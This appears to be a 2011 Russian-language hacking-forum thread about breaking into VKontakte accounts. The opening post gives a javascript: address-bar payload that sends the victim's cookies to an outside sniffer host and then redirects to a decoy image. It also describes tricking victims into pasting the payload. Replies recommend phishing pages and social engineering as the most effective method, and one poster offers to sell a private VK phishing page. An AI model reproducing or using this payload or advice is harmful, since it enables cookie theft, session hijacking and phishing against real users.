PDA

Просмотр полной версии : проблема взлома вконтакте


rushx
29.11.2011, 01:00
вообщем придумал способ как можно грамотно жертве впарить ссылку прямо в адресную строку. только проблема в том что куки не приходят, или у жертвы ссылка не открывается (говорят просто белая страница)
ссылку пишу вот эту javascript:document.write('img = new Image(); img.src = "http://httpz.ru/n8brbzadzlt.gif?"+document.cookie;var URL = "http://images.cards.mail.ru/11bolprivet.jpg";var speed = 8000;function reload() {document.location = URL}setTimeout("reload()", speed);')

причем когда я по ней перехожу, то у меня все нормально и в сниффере мой вход отображается, и куки лежат

Kzooz
29.11.2011, 01:00
Тебе cookies ничего не дадут. Они уже давно привязаны к ip адресу.

Yorvet
30.11.2011, 01:00
Вот сейчас некоторые товарищи побегут помощи ради проверять код, вставляя его в адресную строку. Действительно, нашёл способ грамотно впарить ссылку напрямую
А вообще, куки контакта с недавнего времени уже нет смысла воровать. Гораздо полезнее использовать снифер.

rushx
30.11.2011, 01:00
объясните пожалуйста по-подробнее. разве сниффер используется не для того что бы воровать куки?
а к ip кукисы привязаны вообще везде или на самом контакте?

зы: если сниффер для взлома контакта не вариант, скажите тогда пожалуйста самый актуальный способ на сегодня... погуглю( только не си)

Yorvet
30.11.2011, 01:00
Снифер это способ получения данных от пользователя. Кроме кукисов он может передавать и другую информацию, например данные об IP, браузере, системе, дате перехода по ссылке, откуда был совершён переход, а так же любую введённую после определённой команды информацию (как это делает скрипт для фейков).

По поводу привязки не знаю. Во всяком случае, для взлома контакта лучше использовать фейки. Это и есть самый актуальный способ и на сегодня, и на вчера, и на завтра. А СИ в той или иной мере используется в любом способе взлома, без неё никуда.

Nick Hander
30.11.2011, 01:00
По поводу привязки не знаю. Во всяком случае, для взлома контакта лучше использовать фейки. Это и есть самый актуальный способ и на сегодня, и на вчера, и на завтра. А СИ в той или иной мере используется в любом способе взлома, без неё никуда.
Да, качественный фейк - самый рациональный и актуальный способ увода аккаунта вконтакте. Либо может еще есть дорогущие приватные способы взлома вконтакте. Кстати, если нужен качественный приватный фейк вконтакте с валидацией логина-пароля, обращайтесь в личку, продам незадорого.

Yorvet
30.11.2011, 01:00
Или здесь по соседству есть темка с фейком для контакта, который работает по сей день (имеющие мОзги да исправят ), только без валидации.